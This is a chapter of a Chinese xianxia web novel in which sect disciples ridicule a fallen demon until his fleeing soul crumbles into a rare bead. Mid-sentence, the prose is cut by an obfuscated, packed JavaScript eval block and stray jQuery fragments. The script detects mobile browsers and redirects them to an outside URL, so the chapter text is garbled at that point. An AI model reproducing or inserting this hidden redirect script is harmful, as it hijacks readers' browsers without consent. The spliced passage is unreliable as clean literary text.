21.第 21 章(捉虫)

作品:《功德地狱

    021


    蓝萃儿被按着揍了半日,突然一头向地面扎去,他是总算想明白了强弱之分,想起来跑了。可脑袋刚扎进去,他便惨叫一声蹦起来了。只见地面裂开,赤红的岩浆冒着泡奔流不停。


    那位先前渡劫去的红衣从天上落了下来,就是披头散发,身上穿的是寻常弟子的衣裳,且周身仿佛围绕了一层白雾,这是刚刚渡劫,还有点无法收敛,以至于灵气如雾。且他匆忙渡劫,根本没准备,这身大概是他赶来的弟子的。


    他只露了一面,便又飞到天上了:我只是防他偷跑,这果子还是你们的。


    蓝萃儿上天无路下地无门,惨叫着被切掉了脑袋。可人头落地,他那身子却一摇晃又长出来了一颗脑袋,这颗脑袋只有骨头没有皮肉,一口獠牙血红,他身体震颤,残留的黑毛都化成了血红色,不再想着斗法,挥舞着八肢冲向了林斯敬。


    他速度竟也提升许多,且全然不顾自己受到的攻击,看着是要死也要拖一个同归于尽。


    持锤女修与一个持扇男修皱眉扫视地面——头不见了。


    可眼见其余几人陷入苦战,尤其林斯敬险象环生,他们也来不及去寻,只能朝天上喊了一嗓子,便冲过去助阵。


    红发还真知道蓝萃儿脑袋跑去哪儿了,那人头一落地就化成了一个巴掌大的小人,快得化成了一道烟,直接跑向了弟子们的方向。也确实就那个方向最安全,因为化神也怕误伤自家弟子,不朝那边打。


    红发可以拦,但他觉得自己在这镇子上得到的够多了,这个小人也弱得很,那些弟子一巴掌都能给他拍死,就看谁能得这一笔功德了。若他们都没发现,红发这才出手。


    那群弟子们还在沉迷教学,但也是巧了,他们说来说去,就又说回到了蓝萃儿这个魔身上。


    虽然蓝萃儿说的话完全是自打嘴巴,正常人难以理解,但他们还是能猜到他怎么走到现在这一步的。


    他小名是“萃”,家里爹娘还是希望他出类拔萃的,很可能是小时候被捧到了天上,结果一测灵,没灵根。这就瞬间从天到地了。


    此时已没人同情他了,众修士只是通过谈论他这个人,避免自己误入歧途。


    长留宗出身名门的弟子不少,他们如今的年纪,家族里的事情亲历的、听说的,也是知道不少的。


    本来要偷偷跑走的小人竟然站住了,躲在草丛里默默窥探这群修士。


    翟枰宸也发现了这个小人,他寻思着该如何简孚秋发现这小东西,可直接指出来简孚秋绝对抢不过别人,他们又被其他人所关注,很难找个机会暗示。


    简孚秋是真不知道小人,他跟周小安与简沐一样,都沉迷听课,但不知是不是身份的差异,在蓝萃儿这件事上,他不是很理解这些师兄师姐的想法。


    比如他们认为,让蓝萃儿入魔的主要原因,是他的“跌落”,是无法接受自己是一个凡人。


    “所以,我们应该持正心态。”


    “是极,我等将来的修仙路上,也说不准遇到何种艰险劫难,灵根被毁也并非稀奇事,若伤重,或境界难升,其实与他的境遇类似。届时该以此人为戒,方才不致走偏。”


    他们怎么想的,其实和简孚秋无关,但他有心在这些师兄师姐心里给自己加点印象,此时便道:“其实此人会走偏,全因他是个蠢货,与他的身份变化无关。”


    众人:“啊?”


    “他生于大家,若聪明,如何只能在这偏远小镇行骗?只能蛊惑愚夫愚妇,祸害女子婴儿。”简孚秋摇了摇头,“说句难听的,他若真是个有才干的大人,也当留在蓝家的城中搅风搅雨。”


    “这……好像确实……”


    “一城之主不也都是凡人,世家除了有资质入宗门修行的,支撑家业的也多是凡人。他不做,是因为不想做吗?他就是个凡人,与凡人、修士无关。他出身世家,资源远超其他凡人,结果靠着这些资源他只能在穷乡僻壤行骗,还不知道让谁利用,成了注定魂飞魄散的天魔,即便天道当初真的一时瞌睡,给他个天灵根又如何?蠢货还是蠢货。”


    简孚秋乞丐出身,他现在虽然是修士了,但资源能比得过出身大家的凡人吗?比不了的。那些镇长和仙官对简孚秋是客气,但简孚秋真傻呵呵地认为自己能在人家的地头上作威作福,那他就是个跟蓝萃儿一样的傻子了。


    简沐其实也听得不对劲,此时也道:“对!就是个又毒又坏的蠢货!”


    周小安也点头:“是,修士入宗门,凡人立家业,我周家的凡人,出类拔萃者也不知凡几,其中多有我敬佩的祖先。这蓝萃儿就是在家中也无用,这才给他找了个小地方经营,蓝家也算是仁至义尽了。”


    蓝萃儿成了天魔,众修士对这个人总还是会高看一眼了。


    以他为戒,这本身就是对他的一种肯定,代表着“我若处置不当,也会变成与他一样。”但怎么可能?


    “诸位师兄师姐。”简孚秋对众人行礼,“这蓝萃儿既无德,又无智,情与义更是半点都不沾,这种人做出的事情,我们是半点都不会做的。这几样,但凡是有个一星半点的人,都做不到蓝萃儿这一步。”


    众人认真思量,越来越多人的开始点头。


    “师弟说的还真是,有个一星半点都走不到他这一步。”


    “这就是个无德蠢货。”


    “是极,即便人品低下,但只要有半点心智,都该知道什么东西碰不得,何况他又是大家出身,小时候都学了的。更蠢了。”


    “出身蓝家,一事无成,确实是废物。”


    “是啊,他出身蓝家尚且不足,旁人还活吗?”


    “我家中亦有出色的凡人叔伯,我以其为榜样。”


    “我的启蒙师父也是凡人。”


    不是瞧不起凡人,相反,正是他们见识过凡人的德操与能力。凡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17421939|200286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人也有他们自己的显赫与辉煌,若在世时累积功德,下辈子说不准就是师弟师妹。若此时的他们断了道途,来世也可能转生成凡人。


    他们在家里,在宗门,都被教导过,别太缺德,这是给自己留后路。


    凡人或修士,经纬没那么分明。


    “愚不可及。”“虫豸之属。”“无能之辈。”


    一群修士就开始骂起了蓝萃儿,想到自己刚才竟然担心自己不小心走上蓝萃儿的路,甚至众人都有点懊恼,不过以修养也骂不出太难听的。可天上的红衣,和地上的翟枰宸,却同时露出了“有趣”的表情。


    ——这群小孩子歪打正着了。


    蓝萃儿所化的小人从听见第一声“蠢货”时,便如石化般僵住了。每当有一声的“蠢货”“废物”“无能”之类的字眼,他便震颤一下,身上渐渐出现了裂痕。


    后来众人不聊他了,却开始聊的是听说的或亲见的家中凡人轶事,每家都有厉害的凡人,虽寿命不过短短百年,可自有一番精彩。


    对这些凡人的夸奖,却对小人的伤害更大,他的震颤越发激烈,身上裂痕也越发多了,最终,他如一个被千刀万剐的泥娃娃一般,彻底崩掉了。只一颗拇指大小的黑色珠子,落在了草丛中。


    红光一卷,这珠子已到了红发手中。


    方才的小人是天魔的魔魄,有些类似修士的元婴,且脱离肉身后,比元婴还脆弱。简孚秋所言怕是正中了蓝萃儿的心魔(魔修一样有心魔),他若是魔躯完好的,这几句话自然不怕,顶多让他发怒,可他只剩下魔魄了,最怕的就是心魔了。


    结果就是生生让一群小孩子给说崩了。


    如今他剩下的这个,却是好东西,名定灵珠,极为稀少,乃是天魔魔魄崩解所化,看着没灵气就像是个寻常琉璃珠,其实无须炼制,便能祛除心魔,稳定道心,是无品级的奇珍。


    定灵珠在红发手中一转,已经变成了一枚银簪,簪子乃是最寻常的流云图样,将定灵珠彻底包裹住,不见其形貌,虽有淡淡宝光流转,可也只是寻常宝物,配不上定灵珠的珍惜。


    众人根本不知此事,依旧在快快乐乐地聊着。


    天魔的身躯也终于被众化神分尸了,锦衣镇也在这战斗中彻底化成一片废墟,再不见过去村庄的影子,到处都是黝黑的大坑,有的坑中生出腐恶烂泥,有的仿若长出了无数的头发,还有的长满了仿佛干尸的蘑菇。


    众化神各展手段,将这些大坑盖住,将来这也会成为宗门任务,让宗门里的小辈过来一点点清理。


    以防万一,众人掀开了织婆庙的遗迹,那下面已经什么都没有了,就是个空荡荡的地窖。众人继续朝下挖,倒是挖出来了一些东西,商量之后,这些东西都给了林斯敬,需他回宗之后,上交掌门的。


    毕竟这事还有个幕后者,敢在长留宗内找事,要么是对方所求颇大,要么就是冲着长留宗来的。